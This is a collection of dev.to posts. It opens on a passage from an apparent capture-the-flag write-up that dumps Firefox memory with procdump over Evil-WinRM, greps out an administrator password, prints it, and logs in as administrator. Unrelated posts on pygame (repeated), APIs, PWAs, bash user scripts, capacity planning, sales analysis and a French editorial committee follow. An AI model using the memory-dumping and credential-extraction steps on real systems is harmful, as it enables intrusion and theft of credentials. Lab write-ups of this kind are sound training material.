PS C:\Users\Chase\Documents> ps Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 461 18 2228 5380 372 0 csrss 291 13 2228 5100 484 1 csrss 357 15 3448 14552 4868 1 ctfmon 250 14 3956 13388 3564 0 dllhost 166 9 1864 9728 0.03 6680 1 dllhost 615 32 30264 57692 976 1 dwm 1483 57 23172 78420 1808 1 explorer 355 25 16528 39252 0.09 2692 1 firefox 1071 74 182336 258824 7.92 6320 1 firefox 347 19 10256 35700 0.22 6432 1 firefox 401 35 49200 107168 2.78 6596 1 firefox 378 29 29500 65904 0.80 6912 1 firefox 49 6 1500 3868 772 0 fontdrvhost 49 6 1800 4664 780 1 fontdrvhost 0 0 56 8 0 0 Idle 964 22 5720 14440 624 0 lsass 223 13 2944 10256 3896 0 msdtc 0 12 268 15448 88 0 Registry ... ``` It seems like we've got Firefox running, we can inspect this further. ## Proc dump [Proc dump is an official tool by Microsoft. You can download it here.](https://learn.microsoft.com/en-us/sysinternals/downloads/procdump) upload it using the full path like this: ``` *Evil-WinRM* PS C:\Users\Chase\Desktop> upload /home/sshad0w/Documents/ctf/htb/tracks/intro-to-dante/heist/procdump64.exe Info: Uploading /home/sshad0w/Documents/ctf/htb/tracks/intro-to-dante/heist/procdump64.exe to C:\Users\Chase\Desktop\procdump64.exe Data: 566472 bytes of 566472 bytes copied Info: Upload successful! ``` To run a program in windows, we use the `.\` notation. `.\procdump64` Since it's your first time running the program, you may run into a message like this:  So we'll have to run it with different arguments `.\procdump64.exe -accepteula -ma <PID>` Another issue that we may have is where we find the process in our list. If only we had some kind of way to `grep` for only Firefox processes.... Let's modify our `ps` command to only `firefox` processes. `ps | findstr firefox`  Pick an ID, and run the command from earlier: `.\procdump64.exe -accepteula -ma 2692` > *Don't forget that your PID may be different from mine! Then we'll download it with `download firefox.exe_230623_015925.dmp`  After it finishes, we can inspect it on our own machine. ## Inspecting the dump file Now that we've recovered the dump, we can switch our minds from pentesting to forensics. Our goal is to recover information from the dump file. Just to verify the file type, we can run the file command.  In order to see if there are any strings in the file, we can run the "strings" command. `strings firefox` After running the command, I ran into an issue:  The file is huge. Even when I filter out human readable strings, it still gives me boatloads of information. In order to cut this down, I'll `grep` for things like cookies, usernames, and passwords. > *I like to use tmux while I'm doing these, but the output was so long, I couldn't scroll through it all! For this reason I had to output it into separate files > >`strings firefox.exe_230623_015925.dmp | grep admin > dump_admin.txt` After lots of searching, I found the administrator's password by searching for the username `admin`.  ## Root We can achieve the root flag by logging in directly with the new password. `evil-winrm -i 10.10.10.149 -u "administrator" -p '4dD!5}x/re8]FBuZ'`   I'll be honest: I cracked this box a few years ago, but I'm making an effort to shift more towards more Windows related content, and I realized this blog would be a good start.  Please let me know in the comments if you have any questions, suggestions, or alternate paths! Don't forget to always ask better questions!

sshad0w

Devlog (Platformer Game)

Recently, I have started working on a platformer game in pygame. All the physics and mechanics are...

https://dev.to/muhammad_faseeh_1717/devlog-platformer-game-5611

python, pygame, gamedev, programming

Recently, I have started working on a platformer game in pygame. All the physics and mechanics are being designed from scratch. Here are some basic features of the game: 1. { "The game is being completely desgined in pygame" } 2. { "The game includes a level that is built with a list that contains the level data." } 3. { "Morever it includes a basic player that can interact with the platforms, jump from one platform to another platform and basic x-axis movement". Most Important characteristic of the player is the dash. This is how I made the player dash: 1. Initialize three variables namely, DASH, DASH_TIMER, DASH_COOLDOWN. 2. After that I set a key for dashing. i.e SPACE BAR 3. Whenever the player presses the space bar according to his direction he either dashes to left or right with a speed 4X the original speed. In the next blog I will be sharing my experience while creating a player with real art and add some graphics to my game.

muhammad_faseeh_1717

Devlog (Platformer Game)

Recently, I have started working on a platformer game in pygame. All the physics and mechanics are...

https://dev.to/muhammad_faseeh_1717/devlog-platformer-game-4dd7

python, pygame, gamedev, programming

Recently, I have started working on a platformer game in pygame. All the physics and mechanics are being designed from scratch. Here are some basic features of the game: 1. { "The game is being completely desgined in pygame" } 2. { "The game includes a level that is built with a list that contains the level data." } 3. { "Morever it includes a basic player that can interact with the platforms, jump from one platform to another platform and basic x-axis movement". Most Important characteristic of the player is the dash. This is how I made the player dash: 1. Initialize three variables namely, DASH, DASH_TIMER, DASH_COOLDOWN. 2. After that I set a key for dashing. i.e SPACE BAR 3. Whenever the player presses the space bar according to his direction he either dashes to left or right with a speed 4X the original speed. In the next blog I will be sharing my experience while creating a player with real art and add some graphics to my game.

muhammad_faseeh_1717

Differences between RESTful APIs and GraphQL?

Introduction APIs (Application Programming Interfaces) play a crucial role in enabling...

https://dev.to/chariesdevil/differences-between-restful-apis-and-graphql-4i3e

## Introduction APIs (Application Programming Interfaces) play a crucial role in enabling communication between different software systems. Among the various API architectural styles, REST (Representational State Transfer) and GraphQL have become particularly prominent. While both serve the fundamental purpose of data exchange between clients and servers, they have distinct approaches, strengths, and weaknesses. Understanding these differences is essential for developers to choose the right tool for their specific needs. ## RESTful APIs **1. Architectural Style:** REST is an architectural style that defines a set of constraints and principles for creating web services. It is based on standard HTTP methods like GET, POST, PUT, DELETE, and PATCH, and uses URLs (Uniform Resource Locators) to represent resources. **2. Resource-Based:** In REST, everything is considered a resource, and each resource is accessible through a unique URL. For example, a RESTful service for a bookstore might have endpoints like /books, /books/{id}, and /authors. **3. CRUD Operations:** RESTful APIs typically follow CRUD (Create, Read, Update, Delete) ## operations mapped to HTTP methods: GET retrieves resources. POST creates new resources. PUT/PATCH updates existing resources. DELETE removes resources. **4. Statelessness:** RESTful services are stateless, meaning each request from the client to the server must contain all the information needed to understand and process the request. The server does not store any session information about the client. **5. Response Formats:** RESTful APIs often use JSON (JavaScript Object Notation) or XML (eXtensible Markup Language) as response formats. JSON is more popular due to its lightweight and easy-to-parse nature. **6. Versioning:** Versioning in RESTful APIs is usually handled through the URL (e.g., /api/v1/books) or via HTTP headers. ## **GraphQL** **1. Query Language:** GraphQL, developed by Facebook in 2012, is a query language for APIs and a runtime for executing those queries. It allows clients to request exactly the data they need, nothing more and nothing less. **2. Flexible Queries:** Unlike REST, where the structure of the responses is fixed by the server, GraphQL allows clients to specify the structure of the response. Clients can ask for specific fields and nested resources in a single request. **3. Single Endpoint:** GraphQL APIs operate through a single endpoint (e.g., /graphql). The client sends queries to this endpoint, and the server processes the queries and returns the required data. **4. Strongly Typed Schema:** GraphQL uses a strongly typed schema to define the types of data that can be queried. The schema serves as a contract between the client and server, providing clear documentation and enabling validation. **5. Real-Time Data:** GraphQL supports real-time data through subscriptions. This allows clients to receive updates when the data they care about changes, providing a more dynamic and interactive experience. **6. Versioning:** Versioning in GraphQL is often unnecessary because clients can request only the fields they need. Deprecated fields can remain in the schema without affecting existing clients. ## Key Differences **1. Data Fetching:** REST: Fetching data often requires multiple requests to different endpoints. For instance, getting a book and its author might require separate requests to /books/{id} and /authors/{id}. GraphQL: A single request can fetch nested and related data. The client can request a book and its author in one query, reducing the number of round trips to the server. **2. Over-fetching and Under-fetching:** REST: Clients might receive more data than needed (over-fetching) or less data than needed (under-fetching), necessitating additional requests. GraphQL: Clients specify exactly what data they need, preventing over-fetching and under-fetching. **3. Flexibility:** REST: The server dictates the structure of the responses. Changes to the data structure often require API versioning. GraphQL: Clients dictate the structure of the responses. Changes to the data structure can be managed more gracefully without versioning. **4. Performance:** REST: Performance can be impacted by multiple requests and larger payloads due to over-fetching. **GraphQL:** Typically more efficient as it consolidates multiple requests into one and returns only the requested data. However, complex queries can potentially lead to performance issues if not managed properly. **5. Tooling and Ecosystem:** **REST:** Well-established with a mature ecosystem of tools and libraries. Common tools include Postman for testing and Swagger/OpenAPI for documentation. GraphQL: Rapidly growing ecosystem with tools like Apollo Client, GraphiQL for query testing, and GraphQL Playground for development. Use Cases ## RESTful APIs: Suitable for simple, CRUD-based applications. Ideal when you have a clear separation of resources and need stateless operations. Well-suited for public APIs where stability and simplicity are critical. ## GraphQL: Beneficial for applications with complex data relationships and the need for real-time updates. Ideal for situations where the client needs to customize the data it receives. Useful for mobile and web applications where minimizing the number of requests and payload size is crucial. ## Conclusion Choosing between RESTful APIs and GraphQL depends on the specific requirements and constraints of your project. REST offers simplicity, statelessness, and a mature ecosystem, making it suitable for many traditional applications. On the other hand, GraphQL provides flexibility, efficient data fetching, and powerful querying capabilities, which can be advantageous for more complex and dynamic applications. Understanding these differences enables developers to make informed decisions and build APIs that best meet the needs of their users.

chariesdevil

ioS App Development

iOS app development refers to creating apps specifically for Apple mobile devices such as iPhones and...

https://dev.to/shubhankar_rahul_9823a1a5/ios-app-development-3cig

softwaredevelopment, softwareengineering

[iOS app development ](https://www.appventurez.com/ios-app-development)refers to creating apps specifically for Apple mobile devices such as iPhones and iPads using Apple development frameworks and tools. Developers typically use the Swift or Objective-C programming languages ​​with the Xcode IDE to build, test, and deploy applications to the App Store. Key considerations include user interface design, data management, performance optimization, security implementation, and adherence to Apple's design and functionality guidelines. Successful iOS app development requires understanding the Apple ecosystem, staying abreast of platform changes, and delivering apps that provide a seamless user experience on iOS devices.

shubhankar_rahul_9823a1a5

Understanding Progressive Web Apps (PWAs) 🔥

The way we interact with the web is constantly evolving. In the age of smartphones and tablets,...

https://dev.to/alisamirali/understanding-progressive-web-apps-pwas-43o9

webdev, pwa, softwaredevelopment, softwareengineering

The way we interact with the web is constantly evolving. In the age of smartphones and tablets, users expect fast, convenient, and immersive experiences. Progressive Web Apps (PWAs) are emerging as game-changers, blurring the lines between traditional websites and native mobile apps. But what exactly are PWAs, and why are they generating so much buzz? Let's dive in and explore. --- ##📌 Understanding PWAs: Combining the Best of Web and Mobile Apps Progressive Web Apps are web applications that use modern web capabilities to deliver an app-like experience to users. They are built using standard web technologies, including HTML, CSS, and JavaScript, but they offer functionalities typically associated with native apps. PWAs can be accessed through a web browser and can also be installed on a user's device, providing a seamless and engaging user experience. --- ##📌 Key Features of PWAs 1- **Reliability:** One of the standout features of PWAs is their ability to work offline or on low-quality networks. This is achieved through service workers, which are scripts that run in the background and cache essential resources. As a result, users can continue to interact with the app even when there is no internet connection. 2- **Performance:** PWAs are designed to be fast and responsive. By leveraging techniques like lazy loading and caching, they can deliver a smooth and quick user experience, comparable to that of native apps. 3- **Engagement:** PWAs offer features like push notifications, home screen icons, and full-screen experiences, which enhance user engagement. These capabilities allow businesses to re-engage users and provide a more immersive experience. 4- **Installability:** Users can install PWAs on their devices without going through an app store. This eliminates the need for lengthy downloads and installation processes, making it easier for users to access and use the app. --- ##📌 Benefits of PWAs - **Cost-Effective Development:** Since PWAs are built using web technologies, developers can create a single app that works across multiple platforms, reducing development and maintenance costs. - **Improved User Experience:** PWAs combine the best features of web and mobile apps, providing a fast, reliable, and engaging experience that can lead to higher user satisfaction and retention rates. - **Increased Reach:** Because PWAs can be accessed through a web browser and installed on any device, they have a broader reach compared to native apps, which are limited to specific operating systems. - **SEO Benefits:** Unlike native apps, PWAs are discoverable by search engines. This means that they can contribute to a website's SEO efforts, driving more organic traffic. --- ##📌 How to Get Started with PWAs _Creating a PWA involves several key steps:_ 1- **Build a Responsive Web App:** Ensure that your web app is fully responsive and works well on all devices. 2- **Implement Service Workers:** Use service workers to cache resources and enable offline functionality. 3- **Create a Web App Manifest:** The manifest file contains metadata about your app, such as its name, icons, and theme colors. This enables users to install the app on their home screens. 4- **Ensure Secure Connections:** PWAs must be served over HTTPS to ensure security and reliability. --- --- ## Conclusion ✅ Progressive Web Apps represent a significant advancement in web technology, offering a powerful blend of web and native app features. They provide a cost-effective, engaging, and reliable solution for businesses looking to enhance their digital presence. As the web continues to evolve, PWAs are set to play a crucial role in shaping the future of app development. --- **_Happy Coding!_** 🔥 **[LinkedIn](https://www.linkedin.com/in/dev-alisamir)**, **[X (Twitter)](https://twitter.com/dev_alisamir)**, **[Telegram](https://t.me/the_developer_guide)**, **[YouTube](https://www.youtube.com/@DevGuideAcademy)**, **[Discord](https://discord.gg/s37uutmxT2)**, **[Facebook](https://www.facebook.com/alisamir.dev)**, **[Instagram](https://www.instagram.com/alisamir.dev)**

alisamirali

Automating Linux User Creation with Bash Script

🔆♥️ In today's fast-paced technology environment, efficiency and automation are key. Automating...

https://dev.to/hisbarry/automating-linux-user-creation-with-bash-script-42n5

🔆♥️ In today's fast-paced technology environment, efficiency and automation are key. **Automating tasks with a Bash script** can save a significant amount of time and reduce errors. In this technical report, we will walk through the process of creating a Bash script to automate user and group creation, setting up home directories, and managing permissions and passwords. **Project Overview** Your company has recently hired several new developers, and you need to create user accounts and groups for them. To streamline this process, we will write a Bash script called create_users.sh. This script will; 1. Read a text file containing usernames and group names, 2. Create users and groups as specified, 3. Set up home directories, 4. Generate random passwords, and 5. Log all actions to /var/log/user_management.log and store the generated passwords securely in /var/secure/user_passwords.txt. We can create the Bash script called "create_users.sh" with this command; Bash script **Implementation steps** Let's walk through the script step-by-step to understand its functionality. 1. **Checking root privileges;** This line specifies that the script should be executed with the Bash shell. shabang The script checks if it is being run as root. If not, it prompts the user to run the script with root privileges and exits. _Root privileges_  2. **Checking for User Data File;** The script checks if the filename (user-data-file) is provided as an argument. If not, it displays the correct usage and exits. _user data file_  3. **Initializing Variables and Creating Directories;** The script creates the necessary directories and sets appropriate permissions to ensure security. Here, The 'user_data_file' stores the filename provided as an argument. Additionally 'log_file' and 'password_file' store the paths for logging actions and storing passwords. _Initialize variables_  4. **Generating Random Passwords:** A function to generate random passwords using openssl. _Random password_  5. **Reading User Data File and Creating Users;** The script reads the user data file line by line. For each line, it: . Trims any leading or trailing whitespaces from the username and groups. . Checks if the user already exists. If so, it logs the information and moves to the next user. . Creates the user and assigns them a personal group. _creating users_  6. **Adding Users to Additional Groups;** If additional groups are specified, the script adds the user to these groups, creating the groups if they do not exist. _Adding users_  7. **Setting Home Directory Permissions;** The script sets appropriate permissions for the user's home directory. _Directory permission_  8. **Generating and Storing Passwords;** It generates a random password, sets it for the user, and stores it in the password file. _Store passwords_  9. **Logging Actions;** Finally, the script logs all actions and completes the user creation process. _Logging actions_  **Running the script;** 1. **Create the txt file containing the users and the groups;** The user accounts' structure is contained in this text file. Save and close the file. _txt file._  Every line in the file identifies a user along with the groups (such "admin" or "finance") to which they are assigned. The semicolon divides the groups and users. users.txt has the structure: _user datafile._  2. **Ensure the script is executable;** _Execute script_  3. **Run script;** _Run script_  **Verify the results** 1. Check the log file for actions performed;  2. Verify the user passwords file;  3.Ensure the new users and groups are created correctly;  Conclusion This script automates the creation of users and groups, ensuring a streamlined onboarding process. This article is a stage two task in the DevOps of HNG internship. For more information about the HNG Internship and how it can benefit your organization, visit [HNG Internship](https://hng.tech/internship) and [HNG Hire](https://hng.tech/hire). By using this tutorial, you can make your organization's user management procedure more efficient and ensure that new developers are onboarded promptly Wishing you the best as you continue your Tech journey 🙂💯.

hisbarry

Capacity Planning as a Way to Minimize Unforeseen Business Expenses

In June 2020, an enterprise provider of wireless telecom services T-Mobile failed over 100,000...

https://dev.to/user99999/capacity-planning-as-a-way-to-minimize-unforeseen-business-expenses-53g3

loadtesting, performance, stresstest, capacityplanning

In June 2020, an enterprise provider of wireless telecom services T-Mobile failed over 100,000 customers during an outage. The company had a routing issue that affected voice and text messaging. What caused it to happen? High traffic volumes overwhelmed network resources, resulting in delays and packet loss. This issue is particularly prevalent in networks lacking adequate [capacity planning](https://pflb.us/performance-testing/) or experiencing sudden traffic spikes. To prevent such occurrences, capacity planning and load testing, as a part of it, should not be neglected by the companies. ## Part of Capacity Planning in Software Development Capacity planning helps to forecast resource requirements at a particular stage of software development, which allows engineers to compare the required and available resources. A great tool of capacity planning is load testing, which can help to determine performance issues at a certain stage of software development or deployment. When discussing capacity planning from a project management perspective, let's focus on when, during the development process, the lead should plan load testing to avoid unforeseen expenses in the future. ## Capacity Planning and Load Testing in Agile Project Management Let’s differentiate what Agile is. Agile methodology is an approach to project management that involves breaking down a project into phases, as well as continuous collaboration and improvement. In this approach, teams follow a cycle of plan, executing, and evaluating it within a defined time. Agile is a better choice if a team has unclear requirements and if stakeholders are willing to actively participate in the development process. This approach also creates the right environment for teamwork and promotes transparency. All these features of Agile determine the areas of its application, and it is extremely popular in software development. So, when to put load testing as a part of capacity planning for Agile methodology? Using Agile methodology, the Scrum-master or lead should conduct load testing at the stages of planning, execution, and review of software development. Also, continuous load testing during sprints enhances application quality while reducing cycle times in agile environments. This is achieved by integrating tests into teams’ continuous integration process and running load tests with each sprint. By utilizing smaller teams, companies can communicate more efficiently and effectively, leading to quicker turnaround times and the ability to thoroughly test software through complete testing cycles. This approach to load testing within Agile teams helps determine if the current software can handle expected traffic. It saves significant costs on expensive AWS and GCP servers by identifying the appropriate size and capacity required for each application. ## Capacity Planning and Load Testing in Waterfall Model of Software Development The Waterfall model is suitable for large projects with extensive timelines, sizable teams, and complex functionalities: such as intricate systems in the banking sector, large e-commerce platforms, and projects with a vast number of users, and so on. The specifications for such projects can run into thousands of pages, but this process is virtually ideal for developers: everything is described, reviewed, and approved, ensuring a thorough understanding of how the system should operate. The Waterfall approach yields high-quality results due to its strict adherence to the order of operations and the absence of changing requirements. As we mentioned before, the Waterfall approach works exceptionally well when the requirements are well-defined upfront and there is minimal uncertainty in the work. It is ideal for projects where something similar has already been done, such as developing a new interface using existing patterns. ## Benefits of Load Testing in Capacity Planning It's crucial to view capacity planning as a continuous endeavor. Traditionally, companies conducted formal capacity planning exercises annually. However, given today's environment characterized by uncertainty, digital transformation, and the prominence of agile methodologies, adopting a continuous planning approach proves advantageous. This approach allows for the integration of changing priorities and strategies proactively whenever feasible. Using load testing at an early stage helps prevent any unplanned breakdowns and unexpected failures, safeguarding businesses from revenue loss and brand damage. In conclusion, T-Mobile agreed to pay $19.5 million as part of a settlement with the Federal Communications Commission due to a 12-hour nationwide outage in 2020, which resulted in thousands of unsuccessful 911 calls and financial losses.

user99999

Retail Sales Analysis - Python and Power BI

Introduction One of the most crucial steps in improving business performance is to...

https://dev.to/mwangcmn/retail-sales-analysis-python-and-power-bi-gc7

# Introduction One of the most crucial steps in improving business performance is to identify opportunities and evaluate sales performance in order to establish an effective strategy. This can be accomplished through descriptive analysis of sales data. In this project, I will do a simple sales analysis of a retail store based on a historical dataset. The dataset used in this analysis can be found on [Kaggle](https://www.kaggle.com/datasets/kyanyoga/sample-sales-data?resource=download). The main objective of this analysis is to better understand business performance by tracking historical transactions. The tools used in this analysis in Colab Notebooks for data cleaning and EDA analysis, and Power BI for a dashboard. The dataset contains records of transactions/ orders of a retail company specializing in transport by selling cars, trucks, planes, ships and trains # Data Cleaning and Transformation Importing data ``` from google.colab import drive drive.mount('/content/drive') import pandas as pd import matplotlib.pyplot as plt import seaborn as sns path = "/content/drive/MyDrive/Colab Notebooks/Retail_Sales/" data = pd.read_csv(path + "sales_data_sample.csv", encoding='latin1', parse_dates= ['ORDERDATE']) #Make a copy of dataset retail_data = data.copy() data.info() ```  From this initial assessment, there is one datetime column, nine numerical columns and fifteen categorical columns. Check for duplicates and null values: ``` #Check for duplicates retail_data.duplicated().sum() ``` There were no duplicated rows in the dataset. Check for null values ``` # Check for null values retail_data.isnull().sum() ```  The territory column has 1074 null values, which correspond to transactions in the USA and Canada. I imputed these null values with AMER to represent the Americas territory. ``` null_territory = retail_data['TERRITORY'].isnull().sum() print(f'Number of null values in territory column: {null_territory}') # view countries in Each territory countries_by_territory = retail_data.groupby('TERRITORY')['COUNTRY'].unique() print(f'Countries by territory:\n{countries_by_territory}') # Impute null values in territorry column with AMER - Americas consisting the USA and Canada retail_data['TERRITORY'] = retail_data['TERRITORY'].fillna('AMER') ``` I then converted the object dtypes to categoricy dtypes. ``` #copy of our dataset retail_df = retail_data.copy() #Convert object dtypes to categorical columns categorical_columns = retail_df.select_dtypes(include=['object']).columns #retail_df[categorical_columns] = retail_df[categorical_columns].astype('category') categorical_columns ``` Notably, the dataset had a sales column, quantity ordered and price of each product line, per order. I created a REVENUE column to find out if it was equivalent to the SALES column. ``` #Create Revenue Column retail_df['REVENUE'] = retail_df['QUANTITYORDERED'] * retail_df['PRICEEACH'] ``` I then dropped irrelevant columns.Checking the final dtypes: ``` #Check dtypes retail_df.info() ```  ## Exploratory Data Analysis ### Correlation ``` **Correlation heatmap** numerical_columns = retail_df.select_dtypes(include=['int64', 'float64']).columns plt.figure(figsize = (10,6)) sns.heatmap(retail_df[numerical_columns].corr(), annot=True, cmap='coolwarm') plt.title('Correlation Heatmap') plt.show() ```  The correlation co-efficient indicates the linear relationship between two variables. - Quantity Ordered and Priceeach (0.0056) - this indicates a weak positive correlation. The two features are hardly related. - Quantity Ordered and Revenue (0.75) - Indicates a strong positive correlation. When the quantity ordered increases, revenue also increases. - Priceeach and Revenue (0.64) - Indicates a moderate correlation. When the price increases, revenue increases. ### Outlier Detection I plotted boxplots of Price, Revenue and Sales columns to check for possible outliers ``` **Identifying Outliers** plt.figure(figsize=(8,6)) outlier = pd.DataFrame(data=retail_data, columns = ['REVENUE', 'QUANTITYORDERED', 'SALES']) sns.boxplot(data=outlier, color='cyan') plt.title('Outliers in the Revenue, Quantity and Sales columns') plt.show() ```  The boxplots above identified possible outliers in the Sales column. However, the revenue column appears to have none. This indicates that there are discrepancies in the sales column. Recall the Revenue column was a direct calculation, of Quantity ordered and Price of each item, therefore, should have been equivalent to the Sales column values. The number of dicrepancies is 1304, about 46% of the dataset Since this is not the case, its important to find out why these discrepancies exist and their source. After completion of the EDA analysis, I exported the dataset to Power BI for further analysis. ## Analysis in Power BI At this stage I used the dataset to create meaningful insights. The data collected contains data from 6th January 2003 to 31st May 2005. Here is a preview of the final dashboard and insights from this dataset.  ## Insights and Recommendations. There are 307 distinct orders, the total quantity of products sold over the 27 months was ninety nine thousand, revenue of 8 million USD and a shipping rate of 93%. **Revenue Trend** The revenue trend across all years remained consistent with its highest peak in November.This is consistent with sales trends during holiday seasons where sales are expected to rise.  Revenue also surged in the 4th quarter respectivelly and the retail company sold more units from Tuesday to Friday, compared to other days of the week.  **Product Analysis** Classic Cars is the most popular product line, accounting for $3 million in revenue, about 37.5% of the total revenue during the entire period. Therefore, the company should extend extensive marketing of this product to their clientelle to improve revenue from this core product. On the other hand, trains and ships were the least popular products, accounting for only 12.5% of the total revenue. The average prices of a ship, train and a classic car are $87.34, $83.86 and $75.65 respectively. Trains and ships are mostly purchased for commercial purposes, compared to classic cars that are used by individuals and this could explain the variance in revenue performance by these products. Due to the poor performance of the ships, marketing efforts can be redirected to cruise companies in Europe. However, the retailer could consider smaller boats or yatchs, for private buyers as a potential investment. **Regional Analysis** The United States market recorded the highest revenue of $3 million while, Madrid city in Spain recorded the highest revenue during the period at $902,094, i.e. 10.88% of total revenue. Additionally, the EMEA region, that is countries in Europe, accounted for 49.79% of the total revenue, followed closely by the Americas territory, AMER, at 38.35%. Marketing should also focus on these territories. . ### Link to Dashboard and Notebook The final dashboard and notebook can be found below. 1. [Dashboard](https://github.com/mwang-cmn/Retail-Sales-Analysis/blob/main/dashboard%20-%20sales.pbix) 2. [Colab Notebook](https://github.com/mwang-cmn/Retail-Sales-Analysis/blob/main/Retail_Sales_Analysis.ipynb)

mwangcmn

"C'est une bonne situation 'Responsable comité éditorial' ?"

Plusieurs mois après le lancement officiel du comité éditorial, un petit bilan s'impose afin de...

https://dev.to/onepoint/cest-une-bonne-situation-responsable-comite-editorial--5d68

comite, publication, articles

Plusieurs mois après le lancement officiel du comité éditorial, un petit bilan s'impose afin de donner mon ressenti, les doutes et les enjeux autour du rôle de responsable. Ce retour d'expérience résulte de mon vécu (et aussi un peu celui de mes collègues) et permet de mettre en lumière le (court) chemin parcouru, pouvant donner des idées ou mettre en évidence certains points d'attention. ## Il était une fois: rien Au sein de la communauté Atlantique, et depuis maintenant six ans environ, nous avons l'opportunité de partager nos expertises à l'extérieur, notamment au travers de conférences et de réalisation de projets destinés à des salons de la tech (ex. DevFest Nantes). Néanmoins, ceci n'est nécessairement pas à la portée de toutes et tous (qu'il s'agisse de temps à passer, d'oser prendre la parole en public ou tout autre raison). Il nous est alors venu à l'esprit un moyen de toucher une population tech au-delà du "local", permettant au plus grand nombre de partager un retour d'expérience sur un projet, une techno, une actu ou même une conférence. Le tout encadré par une équipe chevronnée (ou pas) et motivée d'apprendre les uns des autres. ## Les débuts En effet, partant d'une simple ~~fusée éclairante de la part de Yann et Nicolas~~ idée, celle de promouvoir nos expertises à l'extérieur de onepoint Atlantique, nous avons commencé par un dépôt, un board et quelques ébauches d'articles tout droit venues de mes collègues précédemment cités, pour ne pas les nommer (oupsie). Tout en embarquant d'autres personnes aussi motivées pour assurer un suivi et éventuellement, publier à leur tour. Puis les premières questions ont fait surface : - Avions-nous de la matière pour produire ? - Comment assurer le suivi ? - Connaissions-nous des collègues intéressé(e)s pour rédiger ? - Quels types d'articles voulions-nous voir publier ? - Quel rythme de publication souhaitions-nous / pouvions-nous "garantir" ? - Où publier ? - ... Nous avons donc commencé par quelque chose de "classique" : la mise en place d'un board lié au dépôt des articles, permettant de recenser les idées (sous forme d'*issues*), puis de suivre l'avancement de celles-ci (rédaction, relecture, validation et enfin publication). Afin de cadrer le périmètre rédactionnel (objectif, type d'article, relectrices/eurs souhaité(e)s,...), nous avons établi un premier template pour l'ajout d'une idée, puis un second pour la publication d'une branche en lien avec ladite idée. Un point hebdomadaire a également été mis en place pour assurer un suivi rigoureux de chaque article. Une date butoir est alors définie pour chacune des phases, dans le but de conserver un rythme de publication. Bien évidemment, celui-ci était aux abonnés absents au départ, le temps de valider les premières publications. Cela nous a permis de "rôder" l'équipe et son organisation. ## Processus, mise en lumière et soutien Une règle d'or sur laquelle nous nous sommes mis d'accord au sein du comité, c'est que chaque rédactrice/eur est impliqué dans chaque étape, de la proposition d'idée à la "promotion" en interne de l'article en passant par une relecture à la fois sur la forme et le fond, en tâchant de rester le plus constructif possible. À noter que les personnes désignées pour la relecture ne sont pas forcément les membres du comité éditorial : cela peut également être des collègues identifié(e)s comme "sachants" sur le sujet donné ou ayant assisté au même événement le cas échéant. Concernant la plateforme cible de publication, celle-ci est déterminée en amont en fonction du sujet. Si l'on prend en exemple un retour d'expérience concernant un événement interne, notamment en ce qui concerne l'implication personnelle dans son organisation, il sera plus approprié de le poster sur son site personnel ou encore sa page LinkedIn. A l'inverse, un article sur une nouveauté tech pourra être publié sur la plateforme [dev.to](https/dev.to), sous la "bannière" onepoint. Lorsque l'article est validé (*merge request* approuvée) et donc prêt à être publié, l'autrice/eur décide de la date de publication (en général dans les heures qui suivent la validation). Une communication est alors réalisée en interne pour mettre en avant le nouvel article, incluant un lien vers ce dernier, un autre vers la publication sur LinkedIn ou X / Twitter ainsi qu'un résumé. En dernier lieu et afin d'avoir une vision d'ensemble du rayonnement extérieur de notre communauté locale, un fichier de suivi contenant les conférences, meetups et articles publiés est mis à jour soit par l'autrice/eur, soit par notre équipe. ## Et le rôle du responsable dans tout ça ? Au-delà d'un titre, le responsable s'occupe d'orchestrer le suivi de rédaction, la relance des rédactrices/eurs, la recherche de nouveaux candidats susceptibles d'avoir quelque chose à partager et d'identifier les axes d'amélioration. Il faut également permettre à chaque personne intéressée pour rédiger d'accéder au dépôt, la guider dans le processus de rédaction et rester à l'écoute. Il faut également être capable de prendre la décision d'annuler la rédaction d'un article, si celui-ci s'éloigne bien trop du cadre défini, ou s'il tarde trop à être rédigé (le délai de publication a son importance lorsqu'il s'agit de parler d'une conférence ayant eu lieu il y a deux mois ou d'une actu tech importante sur l'instant). Dans notre cas, le responsable n'est pas seul (et heureusement) : l'ensemble de l'équipe du comité peut ajouter sa pierre à l'édifice, assurer également le suivi et prendre part aux décisions, prises de manière collégiale. L'une des actions les plus essentielles est également la promotion et la mise en lumière du comité : que ce soit au travers de publications sur un canal dédié, la publication d'une newsletter mensuelle ou même la présentation du comité lors d'un événement interne. Le plus important est de de mettre à disposition un espace où chaque collaboratrice/eur a la possibilité de partager à l'écrit sa propre expérience sur un sujet, en partant du postulat que l'on a toujours quelque chose à apprendre des autres. ## Conclusion Je vous épargne le fameux couplet *"Écoutez, je ne crois pas qu'il y ait de bonne ou de mauvaise situation..."*. Mais si je devais résumer mon rôle de responsable avec vous, je dirais que c'est d'abord une opportunité. Des collègues qui m'ont tendu une perche, peut-être à un moment où je n'avais trop de disponibilités (mais eux non plus en fait), où j'étais pris à temps plein (et cela n'a pas changé). Personnellement, j'ai pris ce rôle comme un challenge, avec l'intention d'en apprendre beaucoup tant sur le contenu publié que sur l'organisation d'un tel comité. N'ayant aucune expérience en la matière, mais disposant d'un blog personnel orienté tech, je trouve l'exercice intéressant et enrichissant pour en apprendre davantage sur certains aspects rédactionnels et leurs impacts sur le public cible. Et quoi pour la suite ? Nous sommes en train de travailler pour automatiser la relecture avec suggestion de corrections, voire la publication avec promotion en interne. Nous travaillons également sur la publication au format PDF, avec mise en page, pour éventuelle impression au format papier. Nous avons de nouveaux candidats pour la rédaction d'articles avec en cible une publication à la rentrée, afin de conserver notre rythme d'un article par semaine. Nous travaillons également avec le comité éditorial groupe dans le but de promouvoir nos expertises sur le [site institutionnel](https://www.groupeonepoint.com/fr/nos-publications/). Pour terminer, je voudrais remercier [Yann](https://fr.linkedin.com/in/yann-schepens-a279871a) et [Nicolas](https://fr.linkedin.com/in/nicolas-giraud) pour m'avoir fait confiance, ainsi que l'ensemble des membres du comité éditorial ([Stéphane](https://fr.linkedin.com/in/stephane-theou-470b2b), [Arthur](https://fr.linkedin.com/in/arthur-rousseau-2980b913a), [Benjamin](https://fr.linkedin.com/in/bmarsteau)) pour m'aider dans cette aventure. Et bien évidemment, je remercie onepoint de nous permettre de partager nos passions, qu'il s'agisse via des articles ou des conférences, afin de mettre en avant nos expertises et contribuer à l'enrichissement de chacun(e) tant au sein de l'entreprise qu'à l'extérieur.

michaelmaillot

Discover the Ultimate Salon Experience at Kapil's Salon - Poisar, Mumbai

